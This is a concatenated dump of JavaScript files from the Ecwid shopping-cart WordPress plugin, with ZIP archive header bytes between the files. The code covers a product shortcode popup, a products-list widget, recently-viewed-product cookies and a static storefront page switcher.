if (popup().data('params') && popup().data('params').props.attributes.id) { var selectedParams = popup().data('params').props.attributes; params = { 'display': [] }; var displayMap = [ 'picture', 'title', 'price', 'options', 'addtobag', 'qty' ]; for (var i = 0; i < displayMap.length; i++) { var param = displayMap[i]; if ( selectedParams['show_' + param] ) { params.display[param] = true; } } var shortcodeMap = [ 'show_price_on_button', 'show_border', 'center_align' ]; for (var i = 0; i < shortcodeMap.length; i++) { var name = shortcodeMap[i]; params.attributes = params.attributes || {}; if (selectedParams[name]) params.attributes[name] = selectedParams[name]; } } else { params = ecwidSpwParams; } if (params && params.display) { jQuery('input[type=checkbox]', popup()).prop('checked', false); for (var i in params.display) { jQuery('input[type=checkbox][data-display-option=' + i + ']') .prop('checked', true); } for (var i in params.attributes) { jQuery('input[type=checkbox][data-shortcode-attribute=' + i + ']') .prop('checked', true); } } }; var changeTab = function(tab) { jQuery('.media-menu .media-menu-item', popup()).removeClass('active'); jQuery('.media-menu .media-menu-item[data-content=' + tab + ']', popup()).addClass('active'); jQuery('.media-modal-content', popup()).attr('data-active-dialog', tab); jQuery('.media-menu', popup()).removeClass('visible'); jQuery('.toolbar-link').show(); jQuery('.toolbar-link[data-content=' + tab + ']', popup()).hide(); } var changeMode = function(mode) { jQuery('.media-modal-content', popup()).attr('data-mode', mode); } jQuery('.media-menu-item', popup()).click(function() { changeTab(jQuery(this).attr('data-content')); return false; }); var closeTopMenuOnExternalClick = function(e) { jQuery('.media-menu').toggleClass('visible'); popup().unbind('click', closeTopMenuOnExternalClick); } jQuery('h1', popup()).click(function(e) { e.stopPropagation(); jQuery('.media-menu').toggleClass('visible'); popup().click(closeTopMenuOnExternalClick); }); jQuery('.media-button-select, .media-button-update', popup()).click(function() { if (popup().data('params') && popup().data('params').saveCallback) { popup().data('params').saveCallback({ originalProps: popup().data('params').props, newProps: buildOutputParams() }); } else { var shortcode = buildShortcode(); if (tinymce.activeEditor && !tinymce.activeEditor.isHidden()) { tinymce.activeEditor.execCommand('mceInsertContent', false, shortcode); } else { getCursorPosition = function(el) { var pos = 0; if('selectionStart' in el) { pos = el.selectionStart; } else if('selection' in document) { el.focus(); var Sel = document.selection.createRange(); var SelLength = document.selection.createRange().text.length; Sel.moveStart('character', -el.value.length); pos = Sel.text.length - SelLength; } return pos; }; var el = jQuery('#content'); var cursorPosition = getCursorPosition(el.get(0)); el.val(el.val().substr(0, cursorPosition) + shortcode + el.val().substr(cursorPosition)); } saveParams(); } popup().removeClass('open'); }); var saveParams = function() { var params = {display: {}, attributes: {} }; jQuery('input[type=checkbox][data-display-option]:checked').each(function(idx, el) { params.display[jQuery(el).data('display-option')] = 1; }); jQuery('input[type=checkbox][data-shortcode-attribute]:checked').each(function(idx, el) { params.attributes[jQuery(el).data('shortcode-attribute')] = 1; }); jQuery.getJSON(ajaxurl, {action: 'ecwid-save-spw-params', params: params}); ecwidSpwParams.display = params.display; ecwidSpwParams.attributes = params.attributes; }; var buildShortcode = function() { var params = buildOutputParams(); var params_order = ['id', 'display', 'version', 'show_border', 'show_price_on_button', 'center_align']; if (params.display.length == 0) { params.display = 'picture title price options addtobag'; } else { params.display = params.display.join(' '); } var shortcode = '[' + ecwid_params.product_shortcode; for (var i = 0; i < params_order.length; i++) { shortcode += ' ' + params_order[i] + '="' + params[params_order[i]] + '"'; } shortcode += ']'; return shortcode; }; var buildOutputParams = function() { var params = {}; product = getSelectedProduct(); params.id = product.id; params.version = '2'; params.display = []; params.product = product; jQuery('input[type=checkbox][data-display-option]:checked').each(function(idx, el) { params.display[params.display.length] = jQuery(el).data('display-option'); }); jQuery('input[type=checkbox][data-shortcode-attribute]').each(function(idx, el) { params[jQuery(el).data('shortcode-attribute')] = jQuery(el).is(':checked') ? 1 : 0; }); return params; } var setSelectedProduct = function( product ) { popup().data('currentProduct', product); updateFormOnCurrentProduct(); }; var getSelectedProduct = function() { return popup().data('currentProduct'); }; var setInitialSearchData = function( data ) { popup().data('initialSearchData', data); }; var getInitialSearchData = function() { return popup().data('initialSearchData'); }; var setSearchParams = function( params ) { if (typeof params.page == 'undefined') { params.page = 1; } popup().data('searchParams', params); }; var getSearchParams = function () { var params = popup().data('searchParams'); if (!params) { params = {page: 1, sortBy: popup().data('defaultSortBy')}; } return params; }; var updateFormOnCurrentProduct = function() { var product = getSelectedProduct(); if (product) { jQuery( '.media-button-select, .media-button-update', popup() ).removeClass( 'disabled' ); } else { jQuery( '.media-button-select, .media-button-update', popup() ).addClass( 'disabled' ); } } var clickProduct = function() { if (jQuery('.empty-page', this).length > 0) { return; } if (jQuery(this).hasClass('selected-product')) { jQuery(this).closest('tbody').find('tr').removeClass('selected-product'); setSelectedProduct(null); } else { jQuery(this).closest('tbody').find('tr').removeClass('selected-product'); jQuery(this).addClass('selected-product'); setSelectedProduct(jQuery(this).data('productData')); } }; var ecwidSpwSearchProducts = function() { var data = { 'action': 'ecwid-search-products' }; var params = popup().data('searchParams'); if (params) { if (params.keyword) { data.keyword = params.keyword; } if (params.sortBy) { data.sortBy = params.sortBy; } if (params.page) { data.page = params.page; } } jQuery('#search-submit').addClass('searching'); jQuery.getJSON(ajaxurl, data, buildProductsTable); } var buildProductsTable = function(data) { if (data == null) { data = { total: 0, limit: 1 } } var params = {}; if (Math.ceil(data.total / data.limit) < getSearchParams().page) { params = getSearchParams(); params.page = 1; setSearchParams(params); } var enabledPageTemplate = wp.template( 'pagination-button-enabled' ); var disabledPageTemplate = wp.template( 'pagination-button-disabled' ); var totalPages = Math.ceil(data.total / data.limit); var prevPages = ''; var nextPages = ''; if (totalPages > 1) { if (getSearchParams() && getSearchParams().page == 1) { prevPages = disabledPageTemplate({symbol: '«'}) + disabledPageTemplate({symbol: '‹'}); } else { prevPages = enabledPageTemplate({ 'symbol': '«', 'name': 'first', 'label': ecwidSpwParams.labels.firstPage }) + enabledPageTemplate({ 'symbol': '‹', 'name': 'prev', 'label': ecwidSpwParams.labels.prevPage }); } if (getSearchParams().page >= Math.ceil(data.total / data.limit)) { nextPages = disabledPageTemplate({symbol: '›'}) + disabledPageTemplate({symbol: '»'}); } else { nextPages = enabledPageTemplate({ 'symbol': '›', 'name': 'next', 'label': ecwidSpwParams.labels.nextPage }) + enabledPageTemplate({ 'symbol': '»', 'name': 'last', 'label': ecwidSpwParams.labels.lastPage, 'page': Math.ceil(data.total / data.limit) }); } } var formTemplate = wp.template( 'add-product-form' ); var tableTemplate = wp.template( 'products-list' ); var tableHTML = tableTemplate(); jQuery('.media-frame-content.ecwid-add-product.add-product').empty().append( formTemplate( { 'tableHTML' : tableHTML, 'page': data.offset / data.limit + 1, 'total_pages': Math.ceil(data.total / data.limit), 'total_items': data.total + ' items', 'prev_pages': prevPages, 'next_pages': nextPages }) ); if (data.total > 0) { for (var i = 0; i < data.items.length; i++) { addProduct(data.items[i]); } } else { var keyword = ''; if (params.keyword) { keyword = params.keyword; } showEmpty(keyword); } renderSearchParams(); assignHandlers(); jQuery('#search-submit').removeClass('searching'); if (totalPages <= 1) { jQuery('.tablenav.bottom', popup()).hide(); } if (!getInitialSearchData()) { setInitialSearchData(data); } else { popup().find('img[data-src]').each(function( index ){ var src = jQuery(this).data('src'); popup().find('img[data-src]').eq(index).attr('src', src); }); } } var addProduct = function(productData) { var productTemplate = wp.template('product-in-list'); var product = productTemplate( {'name': productData.name, 'image_url': productData.thumb, 'sku': productData.sku, 'id': productData.id} ); jQuery('.wp-list-table.products tbody').append(product); jQuery('#product-' + productData.id).data('productData', productData); }; var addTable = function() { tableTemplate = wp.template( 'products-list' ); jQuery( '.ecwid-add-product.add-product' ).append(tableTemplate()); }; var showEmpty = function(term) { emptyTemplate = wp.template( 'no-products' ); jQuery( '.ecwid-add-product.add-product .wp-list-table.products tbody' ).append(emptyTemplate({term:term})); jQuery( '.tablenav,.wp-list-table.products thead', popup()).hide(); }; var updateSearchParams = function(newParams) { var params = popup().data('searchParams'); if (!params) { params = {}; } for (var i in newParams) { if (newParams.hasOwnProperty(i)) { params[i] = newParams[i]; } } popup().data('searchParams', params); ecwidSpwSearchProducts(); }; var renderSearchParams = function() { var searchParams = popup().data('searchParams'); if (!searchParams) { searchParams = {}; } if (typeof(searchParams.keyword) != 'undefined') { jQuery('#product-search-input').val(searchParams.keyword); } if (typeof(searchParams.sortBy) != 'undefined') { if (searchParams.sortBy == 'NAME_ASC') { jQuery('#name').addClass('sorted asc'); } else if (searchParams.sortBy == 'NAME_DESC') { jQuery('#name').addClass('sorted desc'); } else if (searchParams.sortBy == 'SKU_ASC') { jQuery('#sku').addClass('sorted asc'); } else if (searchParams.sortBy == 'SKU_DESC') { jQuery('#sku').addClass('sorted desc'); } } } var renderPagination = function() { if (typeof(searchParams.page != 'undefined')) { jQuery('#current-page-selector').val(searchParams.page); if (searchParams.page > 1) { } } } var assignHandlers = function() { jQuery('.wp-list-table.products tr').click(clickProduct); jQuery('#search-submit').click(function() { updateSearchParams({keyword: jQuery('#product-search-input').val(), page: 1}); return false; }); jQuery('#name a').click(function() { var column = jQuery(this).closest('.manage-column'); var newSort = ''; if (column.hasClass('asc')) { newSort = 'NAME_DESC'; } else if (column.hasClass('desc')) { newSort = popup().data('defaultSort'); } else { newSort = 'NAME_ASC'; } updateSearchParams({'sortBy': newSort}); return false; }); jQuery('#sku a').click(function() { var column = jQuery(this).closest('.manage-column'); var newSort = ''; if (column.hasClass('asc')) { newSort = 'SKU_DESC'; } else if (column.hasClass('desc')) { newSort = popup().data('defaultSort'); } else { newSort = 'SKU_ASC'; } updateSearchParams({'sortBy': newSort}); return false; }); jQuery('.pagination-links .prev-page', popup()).click(function() { updateSearchParams({'page': getSearchParams().page - 1}); return false; }); jQuery('.pagination-links .next-page', popup()).click(function() { updateSearchParams({'page': getSearchParams().page + 1}); return false; }); jQuery('.pagination-links .first-page', popup()).click(function() { updateSearchParams({'page': 1}); return false; }); jQuery('.pagination-links .last-page', popup()).click(function() { updateSearchParams({'page': jQuery(this).data('page')}); return false; }); jQuery('#ecwid-reset-search').click(function() { setSearchParams({}); buildProductsTable(getInitialSearchData()); setSelectedProduct(null); }); }; updateSearchParams(); }); ecwidRenderCheckboxOption = function(data) { var that = ecwidRenderCheckboxOption; if (!that.template) { that.template = wp.template( 'checkbox-option' ); } if (data.section == 'display-options') { var name = data.displayOptionName; if (!name) { name = data.name; } data.additionalAttributes = 'data-display-option="' + name + '"'; } else if (data.section == 'shortcode-attributes') { var name = data.name; data.additionalAttributes = 'data-shortcode-attribute="' + data.name + '"'; } if (!that.nextTarget || that.nextTarget == 'right') { that.nextTarget = 'left'; } else { that.nextTarget = 'right'; } jQuery('#ecwid-product-popup-content .widget-settings.' + data.section + ' .widget-settings__' + that.nextTarget) .append(that.template(data)); } function ecwid_open_product_popup(params) { jQuery('#ecwid-product-popup-content').data('params', params); var open = jQuery('#ecwid-product-popup-content').data('openPopup'); open();//jQuery('#ecwid-product-popup-content').addClass('open'); }PK������Ê—[7Çwm��m��'��ecwid-shopping-cart/js/products-list.jsnu�„[µü¤��������jQuery.widget('ecwid.productsList', { _create: function() { this.products = {}; this.container = null; this._prefix = 'ecwid-productsList'; this.sort = []; this.options = { max: 3, debug: false, prependNew: false }; this.element.addClass(this._prefix); this._removeInitialContent(); this.container = jQuery('<ul>').appendTo(this.element); this._initFromHtmlData(); this._readSingleProducts(); this._onWindowResize(); this._render(); var self = this; jQuery(window).resize( ecwid_debounce( function() { self._onWindowResize(); } , 200) ); if (typeof wp_ecwid_products_list_vars != 'undefined') { this.ajax_url = wp_ecwid_products_list_vars.ajax_url; this.is_api_available = wp_ecwid_products_list_vars.is_api_available; } }, _render: function() { var toShow = this._getProductsToShow(); for (var i = 0; i < toShow.length; i++) { this._showProduct(this.products[toShow[i]]); } for (var id in this.products) { if (toShow.indexOf(id) == -1) { this._hideProduct(this.products[id]); } } if (toShow.length > 0) { jQuery('.show-if-empty', this.el).hide(); } }, _setOption: function(key, value) { this._super(key, value); if (key == 'max') { this.refresh(); } }, _getProductClass: function(id) { return this._prefix + '-product-' + id; }, _getProductElement: function(id) { return this.container.find('.' + this._getProductClass(id)); }, _showProduct: function(product) { var existing = this._getProductElement(product.id); if (existing.length == 0) { this._buildProductElement(product); } this._fillProductElement(product); var el = this._getProductElement(product.id) .addClass('show') .removeClass('hide'); if (this.options.prependNew) { el.prependTo(this.container); } else { el.appendTo(this.container); } }, _hideProduct: function(product) { this._getProductElement(product.id) .addClass('hide') .removeClass('show'); }, _buildProductElement: function(product) { var container = jQuery('<li class="' + this._getProductClass(product.id) + '">').appendTo(this.container); if (product.link != '') { container = jQuery('<a>') .appendTo(container); } if (product.image) { jQuery('<div class="' + this._prefix + '-image">').append('<img>').appendTo(container); } else { jQuery('<div class="' + this._prefix + '-image ecwid-noimage">').appendTo(container); } jQuery('<div class="' + this._prefix + '-name">').appendTo(container); jQuery('<div class="' + this._prefix + '-price ecwid-productBrowser-price">').appendTo(container); }, _fillProductElement: function(product) { var container = jQuery('.'+ this._getProductClass(product.id), this.el); if (product.link != '') { var a = jQuery('a', container) .attr('href', product.link) .attr('title', product.name) .data('ecwid-page', 'product') .data('ecwid-product-id', product.id); if (typeof window.ecwidShoppingCartMakeStoreLinksUseApiCall != 'undefined') { ecwidShoppingCartMakeStoreLinksUseApiCall(a); } } if (product.image) { jQuery('.' + this._prefix + '-image img', container).attr('src', product.image); } jQuery('.' + this._prefix + '-name', container).text(product.name); price = product.defaultDisplayedPrice ? product.defaultDisplayedPrice : product.price; jQuery('.' + this._prefix + '-price.ecwid-productBrowser-price', container).text(product.price); }, _initFromHtmlData: function() { for (var option_name in this.options) { var data_name = 'ecwid-' + option_name; if (typeof(this.element.data(data_name)) != 'undefined') { this._setOption(option_name, this.element.data(data_name)); } } }, _removeInitialContent: function() { this.originalContentContainer = jQuery('<div class="ecwid-initial-productsList-content">') .data('generatedProductsList', this) .append(this.element.find('>*')) .insertAfter(this.element); }, _readSingleProducts: function() { var self = this; var singleProductLoaded = function (container) { return jQuery('.ecwid-title', container).text() != ''; } jQuery('.ecwid-SingleProduct', this.originalContentContainer).each(function(idx, el) { var interval = setInterval( function() { if (singleProductLoaded(el)) { clearInterval(interval); self._readSingleProduct(el); } }, 500 ); }); }, _readSingleProduct: function(singleProductContainer) { var forced_image = jQuery('div[itemprop=image]', singleProductContainer).data('force-image'); var product = { name: jQuery('.ecwid-title', singleProductContainer).text(), image: forced_image ? forced_image : jQuery('.ecwid-SingleProduct-picture img', singleProductContainer).attr('src'), id: jQuery(singleProductContainer).data('single-product-id'), link: jQuery(singleProductContainer).data('single-product-link'), } if (jQuery('.ecwid-productBrowser-price .gwt-HTML', singleProductContainer).length > 0) { product.price = jQuery('.ecwid-productBrowser-price .gwt-HTML', singleProductContainer).text(); } else { product.price = jQuery('.ecwid-price', singleProductContainer).text(); } this.addProduct(product, true); }, _updateFromServer: function(id) { var that = this; if (!this.products[id]) return false; jQuery.getJSON( wp_ecwid_products_list_vars.ajax_url, { 'action': 'ecwid_get_product_info', 'id': id }, function(data, result) { if (result == 'success') { that.products[id] = jQuery.extend( that.products[id], { image: data.imageUrl } ); that._render(); } } ); }, _getProductsToShow: function() { return this.sort.slice(0, this.option('max')); }, _addToSort: function(id) { this.sort.push(id.toString()); }, _triggerError: function(message) { message = 'ecwid.productsList ' + message; if (this.options.debug) { alert(message); } console.log(message); }, _destroy: function() { this.element.removeClass('.' + this._prefix).find('>*').remove(); this.element.append(this.originalContentContainer.find('>*')); this.originalContentContainer.data('generatedProductsList', null); this.originalContentContainer = null; this._superApply(arguments); }, refresh: function() { this._render(); }, addProduct: function(product, forceRender) { if (typeof(product.id) == 'undefined') { this._triggerError('addProduct error: product must have id'); } if (typeof this.products[product.id] != 'undefined') { return; } this.products[product.id] = jQuery.extend( {}, { id: 0, name: 'no name', image: '', link: '', price: '', toString: function() {return this.name;} }, product ); this._addToSort(product.id); if (forceRender) { this._render(); } }, _onWindowResize: function() { if (this.element.width() < 150) { this.element.addClass('width-s').removeClass('width-m width-l'); } else if (this.element.width() < 300) { this.element.addClass('width-m').removeClass('width-s width-l'); } else { this.element.addClass('width-l').removeClass('width-s width-m'); } } }); // Debounce function from http://unscriptable.com/2009/03/20/debouncing-javascript-methods/ var ecwid_debounce = function (func, threshold, execAsap) { var timeout; return function debounced () { var obj = this, args = arguments; function delayed () { if (!execAsap) { func.apply(obj, args); } timeout = null; }; if (timeout) clearTimeout(timeout); else if (execAsap) func.apply(obj, args); timeout = setTimeout(delayed, threshold || 100); }; } jQuery('.ecwid-productsList').trigger('ecwidOnWindowResize'); PK������Ê—[§4€â��â��0��ecwid-shopping-cart/js/recently-viewed-common.jsnu�„[µü¤��������(function() { if (typeof jQuery == 'undefined') { console.warn('recently-viewed-common.js requires jquery'); } if (typeof Ecwid == 'undefined') { console.warn('recently-viewed-common.js must be included after Ecwid object initialization'); return; } if (typeof wpCookies == 'undefined') { console.warn('recently-viewed-common.js requires utils'); } if (wpCookies.get('test_ecwid_shopping_cart_recently_products_cookie') != 'test_ecwid_shopping_cart_cookie_value') { wpCookies.set('test_ecwid_shopping_cart_recently_products_cookie', 'test_ecwid_shopping_cart_cookie_value', '', '/'); console.warn('recently-viewed-common.js requires enabled cookies'); } Ecwid.OnPageLoaded.add(function(page) { if (page.type == 'PRODUCT') { var productInfo = fetchProductInfo(page.productId); saveProductToCookies(productInfo); } }); var fetchProductInfo = function(productId) { var product = {}; product.id = productId; product.link = window.location.href; return product; } var saveProductToCookies = function(product) { var cookieName = 'ecwid-shopping-cart-recently-viewed'; var cookie = JSON.parse(wpCookies.get(cookieName)); if (cookie == null || typeof(cookie) != 'object') { cookie = {last: 0, products: []}; } var expires = new Date; expires.setMonth(expires.getMonth() + 1); var src = jQuery('script[src*="app.ecwid.com/script.js?"]').attr('src'); var re = /app.ecwid.com\/script.js\?(\d*)/; cookie.store_id = src.match(re)[1]; for (var i = 0; i < cookie.products.length; i++) { if (cookie.products[i].id == product.id) { cookie.products.splice(i, 1); } } cookie.products.unshift({ id: product.id, link: product.link }); wpCookies.set(cookieName, JSON.stringify(cookie), expires.toUTCString(), '/' ); } })();PK������Ê—[MTE8I ��I ��)��ecwid-shopping-cart/js/recently-viewed.jsnu�„[µü¤��������wpCookies.set('test_ecwid_shopping_cart_recently_products_cookie', 'test_ecwid_shopping_cart_cookie_value', { path: '/' }); if (wpCookies.get('test_ecwid_shopping_cart_recently_products_cookie') != 'test_ecwid_shopping_cart_cookie_value') { // Cookies do not work, we do nothing exit; } jQuery.widget('ecwid.recentlyViewedProducts', jQuery.ecwid.productsList, { _create: function() { this._superApply(arguments); this.options.prependNew = true; if (typeof Ecwid == 'undefined') return; var self = this; Ecwid.OnPageLoaded.add( function(page) { if (page.type == 'PRODUCT' && jQuery('.ecwid-productBrowser-details').length > 0) { var product = { id: page.productId.toString(), name: page.name } setTimeout(function() { self.addViewedProduct(product); }, 500); } else { self.refresh(); } } ); }, addViewedProduct: function(product) { product.image = jQuery('.ecwid-productBrowser-gallery-image .gwt-Image').attr('src'); product.link = window.location.href; product.name = jQuery('.ecwid-productBrowser-head').text(); if (jQuery('.ecwid-productBrowser-price .ecwid-productBrowser-price-value').length > 0) { product.price = jQuery('.ecwid-productBrowser-details-rightPanel .ecwid-productBrowser-price .ecwid-productBrowser-price-value').text(); } else { product.price = jQuery('.ecwid-productBrowser-details-rightPanel .ecwid-productBrowser-price').text(); } if (typeof this.products[product.id] == 'undefined') { this.addProduct(product); if (this.is_api_available) { this._updateFromServer(product.id); } } else { this.sort.splice(this.sort.indexOf(product.id), 1); this._addToSort(product.id); } this._render(); }, render: function() { this._superApply(arguments); jQuery('.show-if-empty', this.el).hide(); }, _getProductsToShow: function() { // copy array using slice var sort = this.sort.slice(); if (jQuery('.ecwid-productBrowser-ProductPage').length > 0) { var currentProductId = jQuery('.ecwid-productBrowser-ProductPage').attr('class').match(/ecwid-productBrowser-ProductPage-(\d+)/); if (sort.length > 1 && sort.indexOf(currentProductId[1]) != -1) { sort.splice( sort.indexOf( currentProductId[1] ), 1 ); } } return sort.reverse().slice(0, this.option('max')).reverse(); } }); PK������Ê—[™JþÉ>��É>��%��ecwid-shopping-cart/js/static-page.jsnu�„[µü¤��������(function () { var isTouchDevice = false; var staticId = null; var staticContentClass = 'static-content'; var dynamicId = null; var ecwidPageOpened = false; var autoSwitchStaticToDynamicWhenReady = false; var autoSwitchStaticToDynamicWhenReadyDefault = false; var invisibleDynamicContainerStyle = "display: block !important; height: 0 !important; max-height: 0 !important; min-height: 0 !important; overflow-y: auto !important;"; var mainCategoryId = 0; var initialCategoryOffset = 0; function find(selector) { return document.querySelector(selector); } function isDynamicMode() { function isVisible(elem) { return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length); } var staticHtml = find('#' + staticId); return !staticHtml || !isVisible(staticHtml); } function processStaticHomePage() { window.ec = window.ec || {}; window.ec.storefront = window.ec.storefront || {}; window.ec.storefront.staticPages = window.ec.storefront.staticPages || {}; window.ec.storefront.staticPages.switchStaticToDynamic = switchToDynamicMode; function isRootCategory() { return window.location.hash === '' || window.location.hash.indexOf("#!/c/0/") !== -1; } function onDocumentReady(fn) { if (document.attachEvent ? document.readyState === "complete" : document.readyState !== "loading") { fn(); } else { document.addEventListener('DOMContentLoaded', fn); } } onDocumentReady(function () { var staticStorefrontEnabled = window.ec.storefront.staticPages.staticStorefrontEnabled || false; if (staticStorefrontEnabled !== true) { return; } staticId = ec.storefront.staticPages.staticContainerID; dynamicId = ec.storefront.staticPages.dynamicContainerID; if (!staticId || !document.querySelector("#" + staticId)) { if (!!console) { console.warn("Static storefront is enabled, but no staticContainerID is provided or container is not present"); } return; } if (!dynamicId || !document.querySelector("#" + dynamicId)) { if (!!console) { console.warn("Static storefront is enabled, but no dynamicContainerID is provided or container is not present"); } return; } var mainCategoryIdFromConfig = ec.storefront.staticPages.mainCategoryId; if (mainCategoryIdFromConfig) { mainCategoryId = mainCategoryIdFromConfig; } var autoSwitchStaticToDynamicWhenReadyFromConfig = ec.storefront.staticPages.autoSwitchStaticToDynamicWhenReady; if (autoSwitchStaticToDynamicWhenReadyFromConfig) { autoSwitchStaticToDynamicWhenReady = autoSwitchStaticToDynamicWhenReadyFromConfig; } else { autoSwitchStaticToDynamicWhenReady = autoSwitchStaticToDynamicWhenReadyDefault; } if (ec.storefront.staticPages.initialCategoryOffset) { initialCategoryOffset = ec.storefront.staticPages.initialCategoryOffset; } hideStorefront(); showStaticHtml(); window.ec.config = window.ec.config || {}; window.ec.config.navigation_scrolling = "DISABLED"; if (!!('ontouchstart' in window)) { isTouchDevice = true; document.body.classList.add('touchable'); } if (!isRootCategory()) { hideStorefront(); switchToDynamicMode(); return; } addStaticPageHandlers(); function setupAfterEcwidLoaded() { // õÑÂûø üðóð÷øý ýõ ÷ðúрыт ôûѠúûøõýтð, тþ ò storeClosed ýõ ñуôõт true // õÑÂûø üðóð÷øý ýõ ÷ðúрыт ôûѠúûøõýтð ø üы ÷ðóру÷øûø ÷ðúрытую ÿûðшúу ÿрþòõрøü ÑÂтþ ò ôøýðüøúõ Ecwid.OnAPILoaded.add(function () { var storeClosed = window.ecwid_initial_data.data.storeClosed; var storeClosedWrapper = document.querySelectorAll('.ecwid-maintenance-wrapper'); var storeClosedAndWrapperNotExists = storeClosed && storeClosedWrapper.length === 0; var storeNotClosedAndWrapperExists = !storeClosed && storeClosedWrapper.length > 0; if (!isDynamicMode() && (storeNotClosedAndWrapperExists || storeClosedAndWrapperNotExists)) { switchToDynamicMode(); } }); Ecwid.OnPageLoad.add(function (openedPage) { if (isDynamicMode()) { // if we've already switched to dynamic, we don't need to dispatch this event anymore return; } if (openedPage.type === "CART" || openedPage.type === "ORDERS" || openedPage.type === "FAVORITES" || openedPage.type === "SIGN_IN" || openedPage.type === "RESET_PASSWORD") { // static links from bottom of the page should be processed before page load event finishes, // so self pre-opening scroll didn't make the page jump switchToDynamicMode(); } }); Ecwid.OnPageLoaded.add(function (openedPage) { if (isDynamicMode()) { // if we've already switched to dynamic, we don't need to dispatch this event anymore return; } if (autoSwitchStaticToDynamicWhenReady) { switchToDynamicWhenReadyWithRetries(10); return; } if (!ecwidPageOpened && openedPage.type === "CATEGORY" && openedPage.categoryId === mainCategoryId && openedPage.offset === initialCategoryOffset) { // we don't need to dispatch root category loading, // since our static contents covers it for the first time return; } // other than self we must show opened page in dynamic view, // because static view contains only root category page switchToDynamicMode(); }); } function switchToDynamicWhenReadyWithRetries(retry) { if (retry <= 0) { switchToDynamicMode(); return; } var allImagesLoaded = allImagesLoadedInDynamicMarkup(); if (!allImagesLoaded) { setTimeout(function () { switchToDynamicWhenReadyWithRetries(retry - 1); }, 100); return } switchToDynamicMode(); } function allImagesLoadedInDynamicMarkup() { if (!dynamicId) { return true; } try { var firstNotLoadedCategory = document.querySelector('#' + dynamicId + ' .grid-category--loading'); if (firstNotLoadedCategory != null) { return false; } var firstNotLoadedProduct = document.querySelector('#' + dynamicId + ' .grid-product--loading'); if (firstNotLoadedProduct != null) { return false; } } catch (e) { } return true; } function ecwidLoaded() { return !!Ecwid && !!Ecwid.OnAPILoaded && !!Ecwid.OnAPILoaded.add; } if (ecwidLoaded()) { setupAfterEcwidLoaded(); } else { var setupIntervalId = setInterval(function () { if (ecwidLoaded()) { setupAfterEcwidLoaded(); clearInterval(setupIntervalId); } }, 100); } }); } function addStaticPageHandlers() { function addClickHandlers(selector, elementProcessor) { var elements = document.querySelectorAll(selector); for (var i = 0; i < elements.length; i++) { elementProcessor(elements[i]); } } addClickHandlers('#' + staticId + ' .ec-breadcrumbs a', function (element) { var categoryId = element.getAttribute('categoryId'); if (categoryId !== mainCategoryId) { addStaticClickEvent(element, openEcwidPage('category', {'id': categoryId})); } }); var orderByOptions = document.querySelector('#' + staticId + ' .grid__sort select'); if (!!orderByOptions) { orderByOptions.addEventListener("change", function (event) { openEcwidPage('category', { 'id': mainCategoryId, 'sort': orderByOptions.value })(event); }); } addClickHandlers('#' + staticId + ' .grid__sort .grid-sort__item--filter', function (element) { addStaticClickEvent(element, function () { Ecwid.OnPageLoaded.add(function () { if (isDynamicMode()) { return; } switchToDynamicMode(); Ecwid.showProductFilters(); }); }); }); addClickHandlers('#' + staticId + ' .grid-category__card a', function (element) { var categoryId = element.getAttribute('data-category-id'); addStaticClickEvent(element, openEcwidPage('category', {'id': categoryId})); }); addClickHandlers('#' + staticId + ' .grid-product a', function (element) { var productId = element.getAttribute('data-product-id'); addStaticClickEvent(element, openEcwidPage('product', {'id': productId})); }); addClickHandlers('#' + staticId + ' .grid-product__buy-now', function (element) { var productId = element.getAttribute('data-product-id'); addStaticClickEvent(element, openEcwidPage('product', {'id': productId})); }); addClickHandlers('#' + staticId + ' .footer__link--all-products', function (element) { addStaticClickEvent(element, openEcwidPage('search')); }); addClickHandlers('#' + staticId + ' .footer__link--track-order', function (element) { addStaticClickEvent(element, openEcwidPage('account/orders')); }); addClickHandlers('#' + staticId + ' .footer__link--shopping-favorites', function (element) { addStaticClickEvent(element, openEcwidPage('account/favorites')); }); addClickHandlers('#' + staticId + ' .footer__link--shopping-cart', function (element) { addStaticClickEvent(element, openEcwidPage('cart')); }); addClickHandlers('#' + staticId + ' .footer__link--sigin-in', function (element) { addStaticClickEvent(element, openEcwidPage('signin')); }); addClickHandlers('#' + staticId + ' .pager__button', function (element) { var pageNumber = element.getAttribute('data-page-number') || 2; addStaticClickEvent(element, openEcwidPage('category', { 'id': mainCategoryId, 'page': pageNumber })); }); addClickHandlers('#' + staticId + ' .pager__number', function (element) { var pageNumber = element.getAttribute('data-page-number'); addStaticClickEvent(element, openEcwidPage('category', { 'id': mainCategoryId, 'page': pageNumber })); }); } function addStaticClickEvent(el, callback) { var x = 0, y = 0, dx = 0, dy = 0, isTap = false; if (isTouchDevice) { el.addEventListener('touchstart', function (e) { isTap = true; x = e.touches[0].clientX; y = e.touches[0].clientY; dx = 0; dy = 0; }); el.addEventListener('touchmove', function (e) { dx = e.changedTouches[0].clientX - x; dy = e.changedTouches[0].clientY - y; }); el.addEventListener('touchend', function (e) { if (isTap && Math.abs(dx) < 10 && Math.abs(dy) < 10) { callback(e); } }); } el.addEventListener('click', function (e) { if (!isTap) { callback(e); } else { isTap = false; } }); } function openEcwidPage(page, params) { return function (e) { e.preventDefault(); // we must wait for Ecwid first page to be ready before changing it Ecwid.OnPageLoaded.add(function () { if (isDynamicMode()) { // if we've already switched to dynamic, we don't need to dispatch this event anymore return; } var onClickCallback = window.ec.storefront.staticPages.onClickCallback; if (!autoSwitchStaticToDynamicWhenReady && onClickCallback) { onClickCallback(); } ecwidPageOpened = true; Ecwid.openPage(page, params); }); } } function hideStorefront() { var dynamicEl = find('#' + dynamicId); dynamicEl.setAttribute("style", dynamicEl.getAttribute("style") + invisibleDynamicContainerStyle); } function showStorefront() { var dynamicEl = find('#' + dynamicId); // disable zero-height trick to show the storefront dynamicEl.style.height = ""; dynamicEl.style.maxHeight = ""; dynamicEl.style.minHeight = ""; dynamicEl.style.overflowY = ""; dynamicEl.style.display = "block"; } function hideStaticHtml() { var staticEl = find('#' + staticId); if (!!staticEl) { staticEl.style.opacity = 0; staticEl.style.display = 'none'; } } function showStaticHtml() { var element = find('#' + staticId + " ." + staticContentClass); if (!!element) { element.style.opacity = 1; } } function switchToDynamicMode() { requestAnimationFrame(function () { showStorefront(); hideStaticHtml(); var staticEl = find('#' + staticId); if (staticEl && staticEl.parentNode) { staticEl.parentNode.removeChild(staticEl); } var switchToDynamicCallback = window.ec.storefront.staticPages.switchToDynamicCallback; if (!autoSwitchStaticToDynamicWhenReady && switchToDynamicCallback) { switchToDynamicCallback(); } }); } processStaticHomePage(); 